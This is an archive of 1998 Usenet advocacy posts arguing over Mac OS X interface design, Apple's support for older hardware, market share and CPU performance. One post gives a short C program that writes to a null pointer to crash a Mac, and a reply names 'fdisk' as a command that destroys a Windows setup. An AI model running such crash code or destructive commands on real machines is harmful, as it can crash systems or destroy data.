<aman-2107982305530001@scz-ca17-19.ix.netcom.com>
<6p50k6$b1o$2@lwnws01.ne.highway1.com>
<joe.ragosta-2207981217170001@wil79.dol.net>
<SCOTT.98Jul22111835@slave.doubleu.com>
<andyba-ya02408000R2307981322200001@news>
<SCOTT.98Jul28083702@slave.doubleu.com>
<andyba-ya02408000R3007981317040001@news>
In-reply-to: andyba@corp.webtv.net's message of Thu, 30 Jul 1998 13:17:04 -0700
In article <andyba-ya02408000R3007981317040001@news>,
andyba@corp.webtv.net (Andy Bates) writes:
In article <SCOTT.98Jul28083702@slave.doubleu.com>,
scott@nospam.doubleu.com (Scott Hess) wrote:
> In article <andyba-ya02408000R2307981322200001@news>,
> andyba@corp.webtv.net (Andy Bates) writes:
> Seriously, why do you think that "pro" users should have a
> different interface than new users? And yes, the Mac OS
> interface is scalable depending on the level of complexity
> required by the user.
>
> I think that users on a 350Mhz CPU with 64M RAM and a 8Gig hard
> drive should be allowed to excercise their machine more fully
> than an interface which can run on a 100Mhz CPU with 4M RAM and
> no hard drive would allow for. Otherwise, what's the point of
> all the extra power?
Again, why do you think that a user with a faster machine will need
a different interface than a user with a slower machine? It's the
programs that should exercise the machine more fully, not the
interface. Do you think that a user with a faster machine should
use all of their processing power with animated, rendered 3D
windows and dancing icons?
No, that's not what I'm suggesting - there's a difference between
doodads and functional (but CPU-intensive) features.
Why were so many word processors and page layout tools ten years ago
equipped with "preview" modes, while you generally did your work in a
mode which showed very little WYSIWYG? It wasn't because it couldn't
be written, it was because it was just too annoying. A word processor
without WYSIWYG editting versus one with WYSIWYG editting_should_ have
a different UI.
Likewise, the UI for working with a 20 page presentation could easily
be much different on a 19" screen versus a 9" screen (which would have
about 1/4 the pixels). The palmtop device might be stretching itself
just to let you do _anything_ with the document, while the 19" screen
could probably have four or five variant ways to navigate, plus
multiple inspectors and other panels to adjust things with.
> Beyond that, if I ever get a palmtop, I'll be pissed to no end if
> I have to spend half my time arranging windows and doing other UI
> management that I shouldn't have to do.
The Mac OS can have a setup with little to no UI management, if
desired.
Then it's hardly the same UI. When I say "UI", I mean _everything_
you're seeing on the screen. I have no problems with having UI
elements match between palmtops and desktops - popups are popups,
buttons are buttons. But if the palmtop UI uses tiled panes with only
one visible app, and the desktop UI uses overlapping windows with
multiple visible apps, they are pretty different UIs.
> Given the current level of technology, a palmtop _should_ be more
> focussed and less general. That's what makes it useful. It may
> be in ten years or so, technology will have gotten to the point
> where the only performance difference between a palmtop and a
> laptop is that the laptop has a full keyboard and a bigger
> screen. That would turn my opinions on their ears.
And that's what we're specualting on; a palmtop running the Mac OS
with a smaller screen but a fast processor would be, in essence, a
desktop machine.
If this is the case, you've been seeing palmtops that _I've_ never
seen or heard of. From what I've seen, most palmtops have perhaps 1/4
the raw performance of midrange desktop systems, and 1/8 the memory.
This is a design decision (there's a reason you plug desktops into the
wall, and high-end laptops only run for an hour and a half on
batteries).
> I'm saying that WinCE as a scaled down Windows doesn't work for
> me. I'm implying that a palmtop with a scaled down MacOS
> wouldn't work for me, either.
Again, why?
I've already stated that I'd be pissed if my palmtop required me to
spend half my time arranging windows. Regardless of what happens at
the system level, it's the applications that put all those windows in
my face. If an app requires five windows to operate on a single
document, there's not much the system can do about it.
If the system level is different, and the apps are different ...
well, then it's hardly a scaled down version of the same system, is
it?
Later,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: scott@nospam.doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: 30 Jul 98 21:01:52
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Jul30210152@slave.doubleu.com>
References: <6odtu6$lh3$5@lwnws01.ne.highway1.com>
<1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de>
<Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc
<andyba-ya02408000R2207981149400001@news>
<6p6qnj$fs21@Talisker.taide.net>
<andyba-ya02408000R2307981327300001@news>
<6pajhr$nj6$1@news.spacelab.net>
<andyba-ya02408000R2707981255140001@news>
<SCOTT.98Jul28084322@slave.doubleu.com>
<andyba-ya02408000R3007981322040001@news>
In-reply-to: andyba@corp.webtv.net's message of Thu, 30 Jul 1998 13:22:04 -0700
In article <andyba-ya02408000R3007981322040001@news>,
andyba@corp.webtv.net (Andy Bates) writes:
In article <SCOTT.98Jul28084322@slave.doubleu.com>,
scott@nospam.doubleu.com (Scott Hess) wrote:
> It wasn't in a filesystem, therefor it wasn't a file.
See, this is where we differ. I'm talking about the conceptual idea
of a "file" as the user understands it; you're talking about the
literal "it's only a file if it's in a filesystem" idea of a file.
For a user interface, the first one is important, not the second
one.
Then what difference does it make if we call it "document", instead?
> Yeah, I'm saying that debating whether "Print" should be on the
> "File" menu is silly - it shouldn't be a "File" menu in the first
> place. It should be a "Document" or more specific menu...
But to the users, a document and a file are the same thing. That's
my point. If you have a letter in memory, or on the hard disk,
printing each one out will result in the exact same printed result.
Likewise, both look the exact same when loaded into memory.
Therefore, conceptually, they are both the same thing. They are
both files, in the most general sense of the word.
The problem is that you've taken the word "file" and redefined it to
have the usual meaning of "document". While a good argument can be
made that the general user confuses the terms, that doesn't mean such
confusion should be a _goal_. Importantly, if you want to subvert the
word "file" to mean "document", then what should we literal people say
when we _mean_ "file"? Specifically, files manipulated by the Finder,
Explorer, or Workspace Manager are files, not documents (regardless of
whether they're files _containing_ documents, you are manipulating
them as files, not documents. They don't have the richness of
documents).
I think a valid working definition of "file" would be "a serialized
form of a document". In less technobabble terms, "a file is a form of
a document which can be transported as a unit, and read in elsewhere
to recreate the original document." Just because people sometimes use
the terms interchangeably doesn't mean that they don't know the
difference,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: rkuo@seas.upenn.edu (Richard Kuo)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Thu, 30 Jul 1998 21:13:06 GMT
Organization: MindSpring Enterprises
Message-ID: <35c4e136.45677265@news.mindspring.com>
References: <6ou35v$h4l$1@nnrp1.dejanews.com> <Josh.McKee-2107981925440001@pm3a2.rmac.net> <gmgraves-2207981043260001@sf-usr1-22-150.dialup.slip.net> <6p5mqd$nsu$1@nnrp1.dejanews.com> <Josh.McKee-2307981810170001@pm3a8.rmac.net> <6p9acg$o8n$1@nnrp1.dejanews.com> <joe.ragosta-2507981956290001@elk82.dol.net> <6phbrl$ibc$1@nnrp1.dejanews.com> <6pim7q$6sg$1@supernews.com> <6pisq8$jtg$1@nnrp1.dejanews.com> <joe.ragosta-2807980911080001@wil43.dol.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
On Tue, 28 Jul 1998 09:11:08 -0400, joe.ragosta@dol.net (Joe Ragosta)
wrote:
>In article <6pisq8$jtg$1@nnrp1.dejanews.com>, quinlan@my-dejanews.com wrote:
>
>> In article <6pim7q$6sg$1@supernews.com>,
>> "Nevin \":-]\" Liber" <nevin@CS.Arizona.EDU> wrote:
>>
>> > Vs. under Win95, where even though you might swich apps while one is
>> > loading, the app that is being launched, and not the user, can decide to
>> > take the focus back.
>>
>> Very true. The feature that Windows 95 has and the Mac OS lacks completely is
>> poorly implemented.
>>
>> > Under just about every OS out there, writing to the null address causes a
>> > crash *of the application*. The MacOS is no different in this respect.
>>
>> Try this code:
>>
>> #include "string.h"
>>
>> void main( void )
>> {
>> strcpy( (char *) 0, "Today is a good day to die!" );
>> }
>>
>> This crashes my Mac but only causes the program to fail in Windows 95.
>
>Big deal. Try my example:
>
>"fdisk"
>
>This destroys my Windows setup but my Mac just laughs at it.
>
>You can find a way to crash virtually any OS. Your point is irrelevant.
This is an example of a memory access violation, which is an
extremely common programming error. The analogy you made is not
appropriate.
============================================
Visit The Silicon Edge at:
http://www.stwing.upenn.edu/~rkuo
Comprehensive reviews of computer hardware and software,
plus daily updates with the best and the latest news!
From: Christian Neuss <neuss.@informatik.th-darmstadt.de.nos-pam>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Window Shade: *please* make this go away
Date: 30 Jul 1998 13:12:48 GMT
Organization: Technische Universitaet Darmstadt
Message-ID: <6pprgg$o7p$1@sun27.hrz.tu-darmstadt.de>
References: <6oqr65$ept$1@supernews.com> <stone-ya02408000R1807981951280001@news.enetis.net> <6pktoe$qhd$1@walter.cs.umd.edu> <slrn6rv2oq.qt.jagapen+nospam@billybob.chem.wisc.edu>
jagapen+nospam@whitewater.chem.wisc.edu (Jonathan Gapen) wrote:
>Sean Luke wrote:
>>After a reasonable review, I've concluded that Window Shade is the most
>>ill-conceived GUI element for Apple to adopt in the last decade. I love
>>the Mac, but I find it disturbing that this feature even *has* supporters.
>
> I'm surprised that no other GUI design other than Intuition in AmigaOS
>(and amiwm, a work-alike for X11) has taken advantage of a wickedly clever
>little thing called the "depth gadget." It's another window title gadget
>that lets the user depth-arrange windows. Instead of using a window shade
>feature to get around a window that's obscuring others, the AmigaOS user
>can simply use the depth gadget to send the offending window to the back.
> Much simpler. If OPENSTEP had this feature, I think it'd be nearly
>perfect.
It has. Under OPENSTEP, you just cmd-click the title bar. Nearly perfect,
hunh? A feature I'm still missing is having the option to hide the app
icon and miniaturized windows icons in order to get some additional desk
space - not always though (that's what Launchbar does), but on a per app
basis.
Regards, Chris
--
// Christian Neuss "static typing? how quaint.."
// http://www.nexttoyou.de/~neuss/
// fax: (+49) 6151 16 5472
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
References: <slrn6ra3vt.7p8.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <B1DA7D74-587C6@206.165.43.17> <joe.ragosta-2207980849560001@wil103.dol.net> <35BE0653.4865BF1E@earthlink.net> <joe.ragosta-2907980906550001@wil64.dol.net> <Pine.SOL.3.96.980730104650.4469A-100000@ux8.cso.uiuc.edu> <35c0cc77.0@news.depaul.edu> <Pine.SOL.3.96.980730160839.25738A-100000@ux10.cso.uiuc.edu>
Message-ID: <35c0f418.0@news.depaul.edu>
Date: 30 Jul 98 22:30:48 GMT
In comp.sys.next.advocacy Pulsar <tokarek@uiuc.edu> wrote:
> jhendry wrote:
> > Then, Apple would have to test the OS with a variety of different
> > hardware configurations and third-party products. For each motherboard.
> I understand the hardware configurations, but isn't it the job of the 3rd
> parties to get their products working with Mac OS X?
Well, firstly I'd expect Apple will be writing a lot of OS/X drivers.
They can't wait for third parties to do it.
Secondly, Apple has to make sure that their OS and hardware work the way
they're supposed to. Third parties shouldn't have to work around Apple's
hardware bugs to fix problems their products experience with specific
Macs. If a device works on one model of Mac, it should "just work" on
another as long as the device itself can be attached (obviously, it's
silly to require that a PCI card work with a PowerBook with no
PCI slot, for example.)
Put another way, Apple's OS and hardware provide an 'API' of sorts
for hardware developers. That API should be consistant, and predictable,
for a given kind of device, across models. A third party shouldn't
need to add special-case code to their drivers to work around bugs
in specific models. If a developer follows this API, and produces
a driver which is broken on a particular model, the bug is Apple's,
not the developer's.
Thus, when Apple is testing MacOS/X, they need to test it with
various third party devices with each model of Mac, to make
sure the devices don't break on a particular model. More
models, more testing, more time.
> > And maybe that experience is that it's a pain in the ass, and well
> > worth dropping! Why cling to Apple's long tradition of model-specific
> > bugs?
> Umm... because Apple continues to do the same darned thing? We already
> have multiple revisions of the Gossamer motherboard.
True, but design changes aren't all equal. Some make a difference,
some do not.
Like I've said before, OpenStep and NT didn't blink when I upgraded
my PC from a dated motherboard with an Intel CPU and Intel chipset,
to an updated, much different motherboard with an AMD CPU and a
non-Intel chipset. In the case of OpenStep, it's highly unlikely
that the OS was ever tested on the new motherboard or its chipset.
Still, no problems at all.
There are ways of designing hardware that insulate the software from
changes in the hardware. Did they do this? No idea, but it would
make sense. I doubt this was done to any significant degree
before the G3's.
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 30 Jul 1998 22:25:57 GMT
Organization: University of California at San Diego
Message-ID: <slrn6s1snk.2o1.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <joe.ragosta-2807981306530001@wil53.dol.net> <B1E3BF15-4B7AA@206.165.43.1>
On 28 Jul 98 17:46:53 -0700, Lawson English <english@primenet.com> wrote:
:Joe Ragosta <joe.ragosta@dol.net> said:
:
:>New kernel
:
:They knew for over a year (almost from the NeXT purchase) that a new kernel
:would be in the works. Wasn't NeXT/OpenStep supposed to go to a new kernel
:even before NeXT was sold to Apple?
No, I didn't hear about that.
:
:>New graphics system
:
:Not really. The X graphics system is merely the underlying graphics engine
:of DPS without the language.
OK, an entirely from scratch implementatoin.
:
:>New driver model
:
:I thought that drivers were trivial to do with NeXT?
Yes, if you're on the user-friendly end of things.
Apple has the job of writing the hard back-end part and making it work
with a new kernel.
:>New set of Carbon APIs
:Based, for the most part, on services that the kernel will provide, or so I
:glean from the various diagrams and white papers floating around.
Yes, of course.
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 30 Jul 98 17:25:18 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B1E65D01-290CB@206.165.43.108>
References: <35c0d9fe.0@news.depaul.edu>
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nntp://news.primenet.com/comp.sys.mac.system,
nntp://news.primenet.com/comp.sys.next.advocacy
Jonathan W Hendry <jhendry@shrike.depaul.edu> said:
>> You honestly can't tell the difference between supporting minor
>> modifications and having to reverse-engineer (possibly illegal) those
>> same modifications? Hm.
>
>If they were so minor, they'd be easy to figure out.
OK. Here's an example of a change in hardware that is easy to support but
virtually impossible to reverse engineer:
Altivec. ANY PowerMac app that works with the standard ISA of
603/604/740/750 apps will work on an AltiVec-enabled processor. However,
trying to figure out the ISA of AltiVec would be virtually impossible via
reverse engineering.
OTOH, if you DO have the ISA of AltiVec, it is trivial to change an OS to
support it. All you have to do is rewrite those routines that save/restore
the processor registers during a context-switch to another process.
It is entirely possible that changes to the motherboard design are of that
nature, which makes them trivial to support if you have the documentation,
and impossible, otherwise.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 30 Jul 98 17:43:49 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B1E66157-3959D@206.165.43.108>
References: <MPG.102ac13ecf3d65f989a55@news.supernews.com>
Mime-Version: 1.0
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nntp://news.primenet.com/comp.sys.mac.system,
nntp://news.primenet.com/comp.sys.next.advocacy
Donald Brown <don.brown@cesoft.com> said:
>Then it may be time to close this discussion out. Joe and I are saying
>"yes the costs are there", you and others are saying "no there are no
>costs".
>
>I don't think either of us are going to convince the other.
No. We're saying that the cost is in warm bodies to do the testing. Those
warm bodies cost a certain amount of money, call it x. The increased number
of MacOS X sales will result in greater revenues, call it y.
We're claiming that y - x is significantly greater than 0 and hence there
will be NO *NET* cost to doing the added testing.
You're saying that the 4 million PCI Macs that have been sold since January
1997 won't bring in enough revenue from OS upgrades to cover the added cost
of testing and tweaking and we're saying that it will.
It will ALSO provide a MUCH larger base of Yellow Box-enabled MacOS systems
to entice new YB developers.
MUCH larger.
5x larger if MacOS X were released today. Twice as large, if it is released
on-time next year.
And 604e machines were ONLY sold to high-end users, not Joe Consumer, so
they're far more likely to purchase new [non-game] products than CompUSA G3
customers are.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Jon G. Temple" <jontemple@earthlink.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Fri, 31 Jul 1998 02:19:40 -0400
Organization: jontemple@earthlink.net
Message-ID: <35C161F5.925953A@earthlink.net>
References: <35ba359f.0@news.depaul.edu> <B1DFC422-5CEC1@206.165.43.15> <joe.ragosta-2607980812040001@elk85.dol.net> <Josh.McKee-2607981711240001@pm3a17.rmac.net> <slrn6rtgs5.q9t.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <6pmooa$u1p$1@nnrp1.dejanews.com>
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quinlan@my-dejanews.com wrote:
> In article <slrn6rtgs5.q9t.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>,
> mbkennel <replace this with '@'> yahoo.com wrote:
>
> > It does: MacOS 8.5, MacOS 9.
>
> Imagine if Microsoft had continued to develop Windows 3.x after they had
> released Windows 95. Who would care? People want new OS versions presumably
> because they want new features. Mac OS 8.5 and 9 will be missing the features
> that a lot of people really want from OS X.
Brian, this is an *excellent* analogy!
From: "Jon G. Temple" <jontemple@earthlink.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Fri, 31 Jul 1998 02:31:01 -0400
Organization: jontemple@earthlink.net
Message-ID: <35C1649D.D5A8F2D3@earthlink.net>
References: <35ba359f.0@news.depaul.edu> <B1DFC422-5CEC1@206.165.43.15> <joe.ragosta-2607980812040001@elk85.dol.net> <Josh.McKee-2607981711240001@pm3a17.rmac.net> <joe.ragosta-2607982033560001@elk91.dol.net> <Josh.McKee-2807981805580001@pm3a10.rmac.net> <joe.ragosta-2907980846230001@wil64.dol.net> <Pine.SOL.3.96.980730143132.22326A-100000@ux5.cso.uiuc.edu> <MPG.102ac13ecf3d65f989a55@news.supernews.com>
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Donald Brown wrote:
> In article <Pine.SOL.3.96.980730143132.22326A-100000@ux5.cso.uiuc.edu>,
> tokarek@uiuc.edu says...
> > > There _is_ a reason. It's been explained over and over. The cost of
> > > putting Mac OS X onto older hardware and supporting it is too high for
> > > Apple in its current condition to support.
> >
> > The monetary costs should not be a reason for several reasons that I've
> > stated before. I don't see that as a valid excuse.
> >
> > Possibly the time cost would be significant, but even that I tend to
> > doubt for reasons that I've stated several times before.
> >
> Then it may be time to close this discussion out. Joe and I are saying
> "yes the costs are there", you and others are saying "no there are no
> costs".
Oversimplification.
You (Don) are saying, "Apple is going to Diiiieeeee! Don't ask for OS X
support because Apple might diiiieeeee."
Joe is saying, "It'll take way too much money. It'll take years. It is a
whole new OS. It's way too different from Rhapsody."
Several of the rest of us are saying, "based on similar projects (LinuxPPC,
and MkLinux, for example) it'll take a little more time to implement, but not
more than a few months. Testing will take longer, but no biggy --- companies
like Apple have the resources to do this in good speed."
We are also saying, "If it takes a few more months, release OS X a few months
later FOR THE REST OF US. We've been waiting since Copland for this modern
OS, a few more months isn't going to kill us. Just don't make us buy new
machines when we love our current ones --- we just want a better OS to run on
them."
And finally, we are saying, "A company should support their own computers,
but we are willing to be reasonable about it --- but they *should* be
supported. It is *reasonable* to support a machine less than 2 (or even 3
years) old, much less a 2-month old model like the 9600/350. Confusing our
reasonable requests with nonsense about supporting 10 year old computers with
completely different processors is offensive and stupid. It is NOT
reasonable."
From: "Jon G. Temple" <jontemple@earthlink.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Fri, 31 Jul 1998 02:36:21 -0400
Organization: jontemple@earthlink.net
Message-ID: <35C165DE.386DB711@earthlink.net>
References: <35ba359f.0@news.depaul.edu> <B1DFC422-5CEC1@206.165.43.15> <joe.ragosta-2607980812040001@elk85.dol.net> <Josh.McKee-2607981711240001@pm3a17.rmac.net> <joe.ragosta-2607982033560001@elk91.dol.net> <35BDEEED.DF7F517E@earthlink.net> <joe.ragosta-2807981153280001@0.0.0.0> <6pmdl4$lil$2@bunyip.cc.uq.edu.au>
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Christopher Smith wrote:
> Joe Ragosta <joe.ragosta@dol.net> wrote in message
> joe.ragosta-2807981153280001@0.0.0.0...
> >In article <35BDEEED.DF7F517E@earthlink.net>, jontemple@earthlink.net
> wrote:
> >
> >> Joe Ragosta wrote:
> >>
> >> > In article <Josh.McKee-2607981711240001@pm3a17.rmac.net>,
> >> > Josh.McKee@cbns.com (Joshua T. McKee) wrote:
> >> >
> >> > > In article <joe.ragosta-2607980812040001@elk85.dol.net>,
> >> > > joe.ragosta@dol.net (Joe Ragosta) wrote:
> >> A truly weak point since Apple has elected to obsolete machines less than
> 2
> >> months old (9600/350). Even if MacOS X does ship on time, obsoleting a
> >machine
> >> less than 2 years old is horrendous.
> >
> >Just as Microsoft and Intel will be obsoleting old machines months after
> >they ship.
>
> When and how ?
>
> >
> >>
> >> It USED to be that Apple waited 10 years before obsoleting a machine;
> >now they do
> >> it as soon as they shove it out the door.
> >
> >If it were a trend, I'd be worried. But sometimes you need to make a clean
> >break with the past. I'd rather deal with a single discontinuity than
> >another Copland fiasco.
>
> They should ahve made their "clean break" when they switched to PPC, it
> would be a much different world today if they had have.
Actually, they already did make their clean break already --- with the PCI
Macs. They waited a little too long for the NuBus models, but Apple declared
that the PCI models were a completely new beast --- a break with the past. This
was one of the reasons for supporting them with Rhapsody, and not the NuBus
models.
The G3 Macs are more similar to the PCI Macs than the PCI Macs are to the NuBus
Macs. Apple already took that break. How many more do they need?
Date: Thu, 30 Jul 1998 08:19:42 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: HOLY SH*T!!!! $101M Profit!!!!
Message-ID: <joe.ragosta-3007980819490001@wil34.dol.net>
References: <6oj4m6$nn9@bgtnsc02.worldnet.att.net> <edremy-ya02408000R1607981111360001@news.usc.edu> <6olhv7$jhq$1@flotsam.uits.indiana.edu> <6olmi1$105s$1@nntp6.u.washington.edu> <6olopt$1vm$1@jetsam.uits.indiana.edu> <Pine.SOL.3.96.980716160231.19922C-100000@ux7.cso.uiuc.edu> <djboccip-1607982138570001@tnt2-191.hiwaay.net> <MPG.101898ff5e2179fb989681@news.interport.net> <djboccip-1707980932490001@tnt2-130.hiwaay.net> <6opk2l$kqh$1@news6.ispnews.com> <joe.ragosta-1807980719560001@elk58.dol.net> <macghod-1807981136340001@sdn-ar-001casbarp049.dialsprint.net>
In article <macghod-1807981136340001@sdn-ar-001casbarp049.dialsprint.net>,
macghod@concentric.net (Steve Sullivan) wrote:
> In article <joe.ragosta-1807980719560001@elk58.dol.net>,
> joe.ragosta@dol.net (Joe Ragosta) wrote:
>
> > Apple's sales (in terms of units) have been essentially flat for 7 quarters.
> >
> > As for recent history, Apple's market share is increasing. What's so bad
> > about that?
> >
> > Apple's revenues and unit sales were flat compared to the first quarter.
> > Compaq, OTOH, was down about 15% if you don't add in the Digital revenues.
>
> I have not seen a response from you so I will ask the question again:
> q3 97 apple shipped about 700k machines. THis last quarter they shipped
> about 650k machines. THe personal computer market is INCREASING. THus
> how do you say apple market share is increasing?
Can't you read? I've stated at least 5 times that I'm talking about
quarter to quarter results. No one disputes the fact that Apple's market
share was falling late last year.
The most complete figures show that Apple's overall worldwide market share
was increased from Q4 1997 to Q1 1998 and was flat from Q1 1998 to Q2
1998. They've been posted on this group several times if you'd bother to
look.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: biggus.FILTER@colorado.edu (jeff)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: CompUSA iMac orders stronger than expected
Date: Fri, 31 Jul 1998 00:33:57 -0700
Organization: Univ of Colorado, Boulder
Message-ID: <biggus.FILTER-3107980033570001@tele-anx0306.colorado.edu>
References: <derekc-2907980109260001@as5300-5-59.roc.ny.frontiernet.net> <macghod-2807982355590001@sdn-ar-001casbarp204.dialsprint.net> <jpolaski-2907980954020001@d150-233.ce.mediaone.net> <macghod-2907980953440001@sdn-ar-002casbarp235.dialsprint.net> <35BF591A.A125BBDB@erols.com> <macghod-2907981229530001@sdn-ar-001casbarp289.dialsprint.net> <biggus.FILTER-3007981459590001@tele-anx0229.colorado.edu> <macghod-3007981420050001@sdn-ar-001casbarp097.dialsprint.net>
steve, i'll thank you not to send personal mail to me of that nature
again. the newsgroups are the correct place for such disagreements.
I disagree with your supposed benchmark results. Even according to
*Intel's* commissioned report on such tests, the g3 much outperformed the
p2 at higher mhz. (Intel and other pc vendors commissioned an extensive
retesting of the original Bytemark testing and found the same or better
results for the g3 than was originally announced.) Besides, I've run
photoshop on a p2 at 250mhz, and it didn't even come close to the 233 mhz
g3. the user experience clearly bore this out when i ran several filters
and other effects.
However, an important note: what matters is what's on top the p2. Linux
generally outperforms NT (in every way?) and benchmarks generally faster.
Mathematica in Linux generally outperforms it on NT, with the 604e nearby
(at less cost than equivalent p2 systems). Where's Win95? Basically
nowhere. It's a garbage os, thrown together as an experiment to see what
kinda crap people will buy if you tell them too. (Mathematica 3.0
benchmarks: http://fampm201.tu-graz.ac.at/karl/timings30.html)
BTW, not only will the Xeon chips be far more expensive than the copper
g3s or the g4s, and less powerful, but they'll make great space heaters
for those cold winter months. Why are PC laptops so slow? Because they've
maxed out their *heat* constraints. They can't run 'em any hotter yet. But
the copper g3s and g4s will runner *cooler* than the g3s already do, which
is only 1/3 the wattage of the p2s! The Xeon based computers will be a
friend to people who live in igloos only.
-jeff
From: RasAllGhul@webtv.net (Joshua Moore)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Mac OS X UI
Date: Fri, 31 Jul 1998 05:22:01 -0400 (EDT)
Organization: WebTV Subscriber
Message-ID: <23935-35C18CB9-174@newsd-124.bryant.webtv.net>
References: <35c15e97.0@nnrp1.news.uk.psi.net>
Mime-Version: 1.0 (WebTV)
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ETAtAhRpD4eK01RcAwkxvGmHAMKth5PP9AIVAJEfRFH6XLFCPyPKad8X/rqXbEVw
Richard=A0Frith-Macdonald wrote:
>Andy Bates wrote:
>> <snip>
>Your point presumably being 'the poor
>innocent user needs to be protected from the
>terrible consequences of being able to click on
>a button'
>Well - there aren't any terrible consequences -
>only the advantage of having a few useful
>operations that little bit more accessible.
How often are you Quitting, Hiding, or Printing inside of an
application? Having them at the top level degrades the "taxonomy of
importance" that the Mac's menu bar represents.
The more frequently an item is used, the higher it is in the
heirarchy of the menu. The menus themselves are the most important
items, so their placed at the top level of the menubar.
Need quick access to an item? Use the keyboard equivalents. That's
certainly easier to do than schlepping the mouse across your 17" monitor
- right?
I personally think Apple should just implement menu palettes in
addition to the menubar. Then someone would be able to select the
palette they needed from a contextual menu, have it pop up near their
mouse and then tuck it away in the menu bar when their through with it.
Or just keep using the menubar the way they do now.
------
"But there's nothing more sadistic than an infant, waving his pistol in
my face. He wants me right down on my knees, crumbling in disgrace.
But he underestimates my mind, I know he's messing with my head." -
Trigger Happy Jack by Poe
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
References: <6odtu6$lh3$5@lwnws01.ne.highway1.com> <joe.ragosta-1307982035200001@elk49.dol.net> <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <andyba-ya02408000R2107981148110001@news> <6p2t9m$t36$2@cronkite.cygnus.com> <vpft1.1542$E5.7524002@proxye1.san.rr.com> <35b5b550.0@nnrp1.news.uk.psi.net> <35BC951E.4608D7E0@nstar.net> <35bd8b31.0@nnrp1.news.uk.psi.net> <andyba-ya02408000R2807981105150001@news> <35beb369.0@nnrp1.news.uk.psi.net> <andyba-ya02408000R3007981631180001@news>
From: richard@brainstorm.co.uk. (Richard Frith-Macdonald)
Message-ID: <35c15d1b.0@nnrp1.news.uk.psi.net>
Date: 31 Jul 98 05:58:51 GMT
andyba@corp.webtv.net (Andy Bates) wrote:
>In article <35beb369.0@nnrp1.news.uk.psi.net>, richard@brainstorm.co.uk.
>(Richard Frith-Macdonald) wrote:
>
>> andyba@corp.webtv.net (Andy Bates) wrote:
>> >In article <35bd8b31.0@nnrp1.news.uk.psi.net>, richard@brainstorm.co.uk.
>> >(Richard Frith-Macdonald) wrote:
>> >
>> >This is an incorrect belief. It is not a menu: it is a menu bar. A menu can
>> >be clicked (or clicked and held) to open; the menu bar is always open. A
>> >menu can have an entry selected, once the mouse button is held, by
>> >releasing; the menu bar has to be clicked to have an entry selected.
>>
